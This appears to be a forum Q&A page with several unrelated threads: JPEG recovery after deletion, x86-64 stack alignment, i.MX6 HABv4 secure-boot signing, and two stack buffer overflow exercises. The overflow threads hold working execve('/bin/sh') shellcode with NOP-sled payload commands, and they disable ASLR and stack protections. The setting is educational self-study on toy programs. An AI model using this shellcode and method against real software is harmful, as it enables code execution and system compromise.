Time ago my external HDD crashed (stopped working completely) and I had to recover the files from another HDD from which they had been erased. Some time later I realized that some of the pictures that had been recovered were corrupted.
I couldnt open those images by means of any image program. When I run the "file" command over the .jpgs I get:
DSCN9129.JPG: JPEG image data, EXIF standard 2.2
DSCN9130.JPG: JPEG image data, EXIF standard 2.2
DSCN9131.JPG: JPEG image data, EXIF standard 2.2
DSCN9132.JPG: DOS executable (COM)
DSCN9133.JPG: data
DSCN9134.JPG: data
DSCN9135.JPG: JPEG image data, EXIF standard 2.2
DSCN9136.JPG: data
DSCN9137.JPG: data
DSCN9138.JPG: data
DSCN9139.JPG: data
DSCN9140.JPG: 8086 relocatable (Microsoft)
DSCN9141.JPG: data
DSCN9142.JPG: data
There, we can notice that some images are ok, some are not recognized and some others are wrongly interpreted as other kind of files.
I am uploading 2 example images:
http://ul.to/u7emvxp8 ---> DSCN9133.JPG (corrupted)
http://ul.to/zegf7q8a ---> DSCN9131.JPG (not corrupted)
I used this python code in order to see what's in the file:
import sys, os
with open("./images/DSCN9133.JPG", "rb") as f:
stri=""
i=0
byte = f.read(1)
while byte != "" and i < 1000:
i=i+1
stri = stri+" "+hex(ord(byte))
byte = f.read(1)
print(stri)
I'm printing here the first few bytes of a corrupted and a not corrupted image.
CORRUPTED:
0x6b 0xe8 0xf2 0xd6 0x9b 0xba 0x77 0xb4 0x97 0xd1 0x69 0xbb 0x2e 0xe 0xda 0x8d 0x4 0xb7 0x7 0x33 0xb2 0xf2 0x10 0x35 0x58 0x4e 0xa1 0x80 0x4c 0x2b 0x1f 0x8f 0x9 0xd0 0xaf 0x22 0x5 0x2d 0x87 0xab 0x81 0xb0 0x6c 0x7a 0xd8 0x4c 0x7b 0x52 0xf1 0xe9 0xf3 0xe9 0xca 0xa6 0x4 0xcb 0x9c 0x7b 0x64 0x34 0x98 0x46 0x4 0xd1 0xa6 0x30 0x60 0xb5 0xae 0xcb 0xf2 0x56 0xda 0x20 0x15 0xcf 0x7 0x61 0x2c 0xc 0x3f 0x44 0x67 0x49 0x0 0x41 0xfe 0xac 0x4f 0x15 0xcf 0x9d 0x3a 0x6b 0xdb 0x94 0xb5 0x85 0xa 0x4 0x34 0x7d 0xfd 0x9 0xba 0x86 0xec 0x2f 0xe9 0xa9 0xb6 0xaa 0x62 0x80 0xbb 0x43 0x96 0xa1 0x4d 0x54 0xfa 0x1b 0xdf 0x33 0xab 0x93 0x8a 0xd6 0xdc 0x33 0xe1 0x9d 0x91 0x5a 0x4e 0xd0 0xe5 0x6a 0x1c 0x95 0x72 0x53 0x9f 0x27 0x9a 0x1e 0x8f 0x7d 0x1d 0xad 0x34 0x7b 0xf6 0xc8 0xf 0xde 0xe1 0x48 0xa7 0x58 0x52 0x4d 0x16 0x2b 0x53 0x1b 0x2 0x2a 0x93 0xc6 0x7c 0x76 0x3d 0x78 0xca 0xe2 0x90 0xd3 0x55 0xdb 0x32 0x62 0x1d 0x4f 0xd1 0xd1 0xdc 0x13 0xf 0xb6 0x4e 0x4e 0x66
NOT CORRUPTED:
0xff 0xd8 0xff 0xe1 0x8a 0x45 0x45 0x78 0x69 0x66 0x0 0x0 0x49 0x49 0x2a 0x0 0x8 0x0 0x0 0x0 0xb 0x0 0xe 0x1 0x2 0x0 0xb 0x0 0x0 0x0 0x92 0x0 0x0 0x0 0xf 0x1 0x2 0x0 0x6 0x0 0x0 0x0 0xb2 0x0 0x0 0x0 0x10 0x1 0x2 0x0 0x6 0x0 0x0 0x0 0xca 0x0 0x0 0x0 0x12 0x1 0x3 0x0 0x1 0x0 0x0 0x0 0x1 0x0 0x0 0x0 0x1a 0x1 0x5 0x0 0x1 0x0 0x0 0x0 0xd8 0x0 0x0 0x0 0x1b 0x1 0x5 0x0 0x1 0x0 0x0 0x0 0xe0 0x0 0x0 0x0 0x28 0x1 0x3 0x0 0x1 0x0 0x0 0x0 0x2 0x0 0x0 0x0 0x31 0x1 0x2 0x0 0xa 0x0 0x0 0x0 0xe8 0x0 0x0 0x0 0x32 0x1 0x2 0x0 0x14 0x0 0x0 0x0 0x8 0x1 0x0 0x0 0x13 0x2 0x3 0x0 0x1 0x0 0x0 0x0 0x2 0x0 0x0 0x0 0x69 0x87 0x4 0x0 0x1 0x0 0x0 0x0 0x1c 0x1 0x0 0x0 0xa4 0x3 0x0 0x0 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x4e 0x49 0x4b 0x4f 0x4e 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x45 0x33 0x37 0x30 0x30 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x2c 0x1 0x0 0x0 0x1 0x0 0x0 0x0 0x2c
but I don't know what jpgs are made of...
Can someone give me a piece of advice the direction I should follow in order to find out whether it is possible to repair the images or not?
How can I tell if the pixel information is there or I've just been keeping random data?
I think that knowing the size of the images is a good thing, but of course since these images are compressed it won't be that easy.
EDIT: I found this http://www.w3.org/Graphics/JPEG/itu-t81.pdf that should be useful for this, but I also would like to know how can I tell if the pixel data is there or not.
EDIT2: My original question was focused on the following point (I clarify because I realized it wasn't clear enough) I think that it is possible that the bytes on those images are part of jpegs. It can be that the bytes are just shifted or the header is missing, and maybe there is a way to explore whether the data is there. Of course if these were BMPs or uncompressed images of some king this could be the case. Being jpgs, that are compressed I think makes everything way more difficult of not completely impossible. But still, I wonder more in general, if i told someone that among certain bunch of bytes there are the pixel information from an image, how could we proceed?
Here is your entire problem: "I had to recover the files from another HDD from which they had been erased"
When any file is created, the OS (often-usually) writes the data across multiple blocks, and pointers to these blocks are placed in an index file. When a file gets deleted, these indexes and the blocks they point to are marked as "free" (as in "areas of the disk which are now open to storing data").
It's IMPORTANT to understand that the deleted file STILL REMAINS ON THE DISK, and ONLY THE POINTER IS REWRITTEN.
This, of course, is exactly how data recovery works. The recovery program scans the "deleted" portions of a disk looking for recognizable data. When it finds something, it saves that data in various ways, and usually makes an assessment as to whether the discovered data is actually "recoverable" or not.
One method of data identification is by "magic numbers", AKA "file signatures". In the case of JPG files, the magic numbers for the beginning and end of file are: 0xFFD8 and 0xFFD9 respectively.
If you look at your posted data, you'll see that the "not corrupted" file does indeed start with "0xFFD8", and a recovery program would tag it as a JPG file.
HOWEVER...when a file has been deleted, as I said earlier, its data blocks are "free" for the OS to write new user data, overwriting the old data. This often results in say "xyz.jpg" originally spanning 3 blocks before being deleted. You continue using your computer, and at some point part of a letter to aunt mabel gets written to one of those blocks, and only the other 2 blocks of the original xyz.jpg can be recovered (and even then, there are many reasons that the recovery program may only find ONE of those blocks and not both)
OTOH, a recovery program mat also recover an index pointer, and grab whatever is there. So if the recovered file pointer says "DSCN9132.JPG" resides at such-and-such an address, the recovery program will grab the data block, NAME it as "DSCN9132.JPG", but IDENTIFY the data type as a "DOS executable (COM)" file - because that's the type of file that is now physically there as a result of being overwritten. This is one reason for getting the described result as shown in your list example.
And BTW, another result of recovering image files comes when using a graphics program to look at the JPG files that you see in a recovery directory: Some of the images will look just great, some will have the bottom half ("half" being subjective: it could be a few lines at the bottom to almost the entire image) of the image missing, and some will produce a file error.
This is not an exhaustive or well written treatise on file deletion, recovery or corruption, but I figured your question deserved some kind of an answer, and I hope it gives you some clue as to how these systems work.
Related
I'm learning about buffer overflows (for educational purposes only) and while playing around with the NOP sliding technique to execute shellcode some questions arised as to why shellcode sometimes is not executed.
I compiled the following code (using Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR disabled)
#include <stdio.h>
#include <string.h>
void function (char *args)
{
char buff[64];
printf ("%p\n", buff);
strcpy (buff, args);
}
int main (int argc, char *argv[])
{
function (argv[1]);
}
as follows:gcc -g -o main main.c -fno-stack-protector -z execstack.
I then evoked gdb main, b 9, and
run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
The string above consists of NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address. I chose the return address according to the output of the printf line. (Attention: To say it explicitly, the hexcode above opens a shell in x86_x64).
As can be seen from the following output, the buffer is overflowed as intended.
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
Continuing from here indeed opens the shell. However, when I use the following as an argument (the only difference is that I replaced \x90"x15 by \x90"x16 and \x90"x8 by \x90"x7)
run `perl -e '{ print "\x90"x16; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x7; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
I get
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
which looks fine to me (the same as above, except reflecting the change in the argument), though when I continue this time I get
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
and no shell is opened.
The illegal instruction happens in the second NOP block. The shellclode lies before the NOP block. The return address seems to have been overwritten successfully, why isn't the shellcode executed then?
Why does the first example work, but the second doesn't, the only difference being that one NOP was removed before the shellcode and inserted after the shellcode?
Edit:
I added the disassembly of the shellcode:
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov $0x3b,%al
40007d: 48 31 d2 xor %rdx,%rdx
400080: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
400087: 73 68 11
40008a: 48 c1 e3 08 shl $0x8,%rbx
40008e: 48 c1 eb 08 shr $0x8,%rbx
400092: 53 push %rbx
400093: 48 89 e7 mov %rsp,%rdi
400096: 4d 31 d2 xor %r10,%r10
400099: 41 52 push %r10
40009b: 57 push %rdi
40009c: 48 89 e6 mov %rsp,%rsi
40009f: 0f 05 syscall
Jester's guess that the shellcode's push operations overwrite the instructions at the far end of the shell code regarding my second example was correct:
Checking the current instruction after receiving the SIGILL by setting set disassemble-next-line on and repeating the second example yields
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea: ff (bad)
The NOP (90) which was at this address previously has been overwritten by ff.
How does this happen? Repeat the second example again and additionally set b 8. At this point in time, the buffer has not been overflown yet.
(gdb) info frame 0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
The bytes starting at 0x7fffffffd8f8 contain the address which will be returned to after having left the function function. Then, this 0x7fffffffd8f8 address will also be the address from which stack will continue to grow again (there, the first 8 bytes will be stored). Indeed, continuing with gdb and using the si command shows that before the first push instruction of the shellcode the stack pointer points to 0x7fffffffd900:
(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da: 53 push %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8 0xd9 0xff 0xff 0xff 0x7f 0x00 0x00
... and when the push instruction is executed the bytes are stored at address 0x7fffffffd8f8:
(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db: 48 89 e7 mov %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
Continuing with this, one can see that after the last push instruction of the shellcode the content of push is pushed on the stack at address 0x7fffffffd8e8:
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
However, this is also the place where the last byte for the instruction of syscall is stored (see the x/80bx buff output in the question for the second example). Therefore, the syscall and thus the shellcode cannot be executed successfully. This doesn't happen in the first example since then the bytes pushed onto the stack grow right til the end of the shellcode (without overriding a byte of it): 8 bytes for the 8 NOPs ("\x90"x8) + 8 bytes for the saved base pointer + 8 bytes for the return address provide enough space for the 3 push operations.
I'm trying to educate myself regarding stack overflows and played around a bit with these -fno-stack-protector flag and tried to understand how memory is managed in a process.
I compiled the following code (using Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR disabled)
int main (int argc, char *argv[])
{
char buff[13];
return 0;
}
as follows: gcc -g -o main main.c -fno-stack-protector. I then evoked gdb main, b 4, run and as can be seen from the the following outputs
(gdb) print &buff
$2 = (char (*)[13]) 0x7fffffffd963
0x7fffffffd963: 0xff 0xff 0x7f 0x00 0x00 0x00 0x00 0x00
0x7fffffffd96b: 0x00 0x00 0x00 0x00 0x00 0x10 0x46 0x55
0x7fffffffd973: 0x55 0x55 0x55 0x00 0x00 0x97 0x5b 0xa0
0x7fffffffd97b: 0xf7 0xff 0x7f 0x00 0x00 0x01 0x00 0x00
(gdb) info frame 0
Stack frame at 0x7fffffffd980:
[...]
Saved registers:
rbp at 0x7fffffffd970, rip at 0x7fffffffd978
the 13 bytes allocated for the buffer follow directly after the saved base pointer rbp.
After increasing the buffer size from 13 to 21 I got the following results:
(gdb) print &buff
$3 = (char (*)[21]) 0x7fffffffd950
(gdb) x/48bx buff
0x7fffffffd950: 0x10 0x46 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffd958: 0xf0 0x44 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffd960: 0x50 0xda 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd968: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd970: 0x10 0x46 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffd978: 0x97 0x5b 0xa0 0xf7 0xff 0x7f 0x00 0x00
(gdb) info frame 0
Stack frame at 0x7fffffffd980:
[...]
Saved registers:
rbp at 0x7fffffffd970, rip at 0x7fffffffd978
Now there are additional 11 bytes after the rbp before the buffer follows.
In the second case, why are there 11 additional bytes? Is this due to the alignment of the stack, e.g. does the buffer have to be 16 bytes aligned (a multiple of 16) starting from rbp?
Why is the memory layout different in the first case, there seems to be no alignment?
The x86-64 System V ABI requires 16-byte alignment for local or global arrays that are 16 bytes or larger, and for all C99 VLAs (which are always local).
An array uses the same alignment as its elements, except that a local or global
array variable of length at least 16 bytes or a C99 variable-length array variable
always has alignment of at least 16 bytes.4
4 The alignment requirement allows the use of SSE instructions when operating on the array.
The compiler cannot in general calculate the size of a variable-length array (VLA), but it is expected
that most VLAs will require at least 16 bytes, so it is logical to mandate that VLAs have at
least a 16-byte alignment.
Fixed-size arrays smaller than one SIMD vector (16 bytes) don't have this requirement, so they can pack efficiently in the stack layout.
Note that this doesn't apply to arrays inside structs, only to locals and globals.
(For dynamic storage, the alignment of a malloc return value must be aligned enough to hold any object up to that size, and since x86-64 SysV has maxalign_t of 16 bytes, malloc must also return 16-byte aligned pointers if the size is 16 or higher. For smaller allocations, it could return only 8B-aligned for an 8B allocation if it wanted to.)
The requirement for local arrays makes it safe to write code that passes their address to a function that requires 16-byte alignment, but this is mostly not something the ABI itself really needs to specify.
It's not something that different compilers have to agree on to link their code together, the way struct layout or the calling convention is (which registers are call-clobbered, or used for arg-passing...). The compiler basically owns the stack layout for the function it's compiling, and other functions can't assume or depend on anything about it. They'd only get pointers to your local vars if you pass pointers as function args, or store pointers into globals.
Specifying it for globals is useful, though: it makes it safe for compiler-generated auto-vectorized code to assume alignment for global arrays, even when it's an extern int[] in an object file compiled by another compiler.
I am currently working on performing a secure boot on the imx6ul using HABv4. I followed the steps provided in the following document.
http://marc.info/?l=u-boot&m=139227973004718&q=p5
After performing all the steps I have described below, I typed hab_status in the U-boot command prompt. Then I get the HAB Events I have shown below. The only step I did not perform is fusing the SRK table. I would like to know the following information:
Is it a must to fuse the SRK table during the development stage?
From where can I find the load address that has to specify in the csf file? I used the following value defined in the Uboot configuration file. The document AN4581 (Rev.0,10/2012) describes that start* = TEXT_BASE and that it is defined in the config.mk file. However, config.mk file is not available in my U-boot folder (Probably because I am using a newer version).
#define CONFIG_SYS_TEXT_BASE 0x87800000
AN4581(Rev. 1, 10/2015) does not provide any information regarding this.
How does the Uboot knows the starting pointer of cfs? Should we specify it in any other location?
I have specified the steps I performed below. Let me know whether anything I am doing wrongly.
Steps Performed:
Please see the steps performed below.
Built u-boot.imx enabling the secure mode.
Generated all root public key files and corresponding hash.
Created csf file with the following content. Content of the file is attached at the end.
My u-uboot.imx file is 0x60830. I extended it to 0x61000 using the following command.
objcopy -I binary -O binary --pad-to 0x61000 --gap-fill=0x5A u-boot.imx u-boot-pad.imx
Then I generated csf.bin file using the command below.
./cst -o u-boot_csf.bin -i uboot.csf
Merged image and csf data using the command below.
cat u-boot-pad.imx u-boot_csf.bin > u-boot-signed.imx
Then extended the final image to 0x63000
objcopy -I binary -O binary --pad-to 0x63000 --gap-fill=0x5A u-boot-signed.imx u-boot-signed-pad.imx
The length of the block is calculated as: Length = u-boot-pad.imx (0x61000) - IVT_OFFSET (0x400).
And added 400 to the starting address as shown below.
# Address Offset Length Data File Path
Blocks = 0x87800400 0x400 0x00060C00 "u-boot-pad.imx"
HAB Events:
HAB Configuration: 0xf0, HAB State: 0x66
--------- HAB Event 1 -----------------
event data:
0xdb 0x00 0x1c 0x42 0x33 0x18 0xc0 0x00
0xca 0x00 0x14 0x00 0x02 0xc5 0x00 0x00
0x00 0x00 0x0d 0x34 0x87 0x80 0x04 0x00
0x00 0x06 0x0c 0x00
--------- HAB Event 2 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x7f 0xf7 0xd0
0x00 0x00 0x00 0x20
--------- HAB Event 3 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x7f 0xf7 0xfc
0x00 0x00 0x01 0xf0
--------- HAB Event 4 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x7f 0xf7 0xf0
0x00 0x00 0x00 0x01
--------- HAB Event 5 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x80 0x00 0x00
0x00 0x00 0x00 0x04
Command Sequency File Description:
#Illustrative Command Sequence File Description
[Header]
Version = 4.1
Hash Algorithm = sha256
Engine = ANY
Engine Configuration = 0
Certificate Format = X509
Signature Format = CMS
[Install SRK]
File = "../crts/SRK_1_2_3_4_table.bin"
# Index of the key location in the SRK table to be installed
Source index = 0
[Install CSFK]
# Key used to authenticate the CSF data
File = "../crts/CSF1_1_sha256_2048_65537_v3_usr_crt.pem"
[Authenticate CSF]
[Install Key]
# Key to install
File= "../crts/IMG1_1_sha256_2048_65537_v3_usr_crt.pem"
# Target key slot in HAB key store where key will be installed
Target Index = 2
# Key slot index used to authenticate the key to be installed
Verification index = 0
[Authenticate Data]
# Address Offset Length Data File Path
Blocks = 0x87800400 0x400 0x00060C00 "u-boot-pad.imx"
# Key slot index used to authenticate the image data
Verification index = 2
Best Regards
I am trying to do some experiments with buffer overflows for fun. I was reading on this forum on the topic, and tried to write my own little code.
So what I did is a small "C" program, which takes character argument and runs until segmentation fault.
So I supply arguments until I get a message that I overwrote the return address with "A" which is 41. My buffer character length, in which I copy my input strings is [5].
Here is what I did in gdb.
run $(perl -e 'print "A"x32 ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d
Then I figured out that it takes 16 'A' to overwrite.
run $(perl -e 'print "A"x16 . "C"x8 . "B"x32 ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
)
Which tells us that the 8 "C" are overwriting the return address.
According to the online tutorials if I supply a valid adress instead of the 8 "C". I can jump to some place and execute code. So I overloaded the memory after the initial 16 "A".
The next step was to execute
run $(perl -e 'print "A"x16 . "C"x8 . "B"x200 ; ')
rax 0x0 0
rbx 0x3a0001bbc0 249108216768
rcx 0x3a00552780 249113683840
rdx 0x3a00553980 249113688448
rsi 0x42 66
rdi 0x2af9e57710e0 47252785008864
rbp 0x4343434343434343 0x4343434343434343
rsp 0x7fffb261a2e8 0x7fffb261a2e8
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x22 34
r11 0xffffffff 4294967295
r12 0x0 0
r13 0x7fffb261a3c0 140736186131392
r14 0x0 0
r15 0x0 0
rip 0x400516 0x400516 <main+62>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
mxcsr 0x1f80 [ IM DM ZM OM UM PM ]
After examining the memory 200 bytes after $rsp i found an address and I did the following:
run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; ')
This however does not do anything. I would be grateful if someone can give me an idea what am I doing wrong.
First make sure that you change the randomize_va_space. On Ubuntu you would run the following as root
echo 0 > /proc/sys/kernel/randomize_va_space
Next make sure you are compiling the test program without stack smashing protection and set the memory execution bit. Compile it with the following gcc options to accomplish
-fno-stack-protector -z execstack
Also I found I needed more space to actually execute a shell so I would change your buffer to something more like buffer[64]
Next you can run the app in gdb and get the stack address you need to return to
First set a breakpoint right after the strcpy
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy#plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf#plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
Then run the app and at the break point grab the rax register address.
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
Next determine your max buffer size. I know that the buffer of 64 crashes at 72 bytes so I will just go from that.. You could use something like metasploits pattern methods to give you this or just figure it out from trial and error running the app to find out the exact byte count it takes before getting a segfault or make up a pattern of your own and match the rip address like you would with the metasploit pattern option.
Next, there are many different ways to get the payload you need but since we are running a 64bit app, we will use a 64bit payload. I compiled C and then grabbed the ASM from gdb and then made some changes to remove the \x00 chars by changing the mov instructions to xor for the null values and then shl and shr to remove them from the shell command. We will show this later but for now the payload is as follows.
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
our payload here is 48 bytes so we have 72 - 48 = 24
We can pad the payload with \x90 (nop) so that instruction will not be interrupted. Ill add 2 at the end of the payload and 22 at the beginning. Also I will tack on the return address that we want to the end in reverse giving the following..
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
Now if you want to run it outside of gdb, you may have to fudge with the return address. In my case the address becomes \x70\xe0\xff\xff\xff\x7f outside of gdb. I just increased it until it worked by going to 40 then 50 then 60 then 70..
test app source
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
This is the payload in C
#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
And payload in ASM which will build and run
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
And since we can't use \x00 we can change to xor the values and do some fancy shifting to remove the bad values of the mov for setting up /bin/sh
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}
if you compile that payload, run it under gdb you can get the byte values you need such as
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
or get it all by doing something like
(gdb) x/48bx main+4
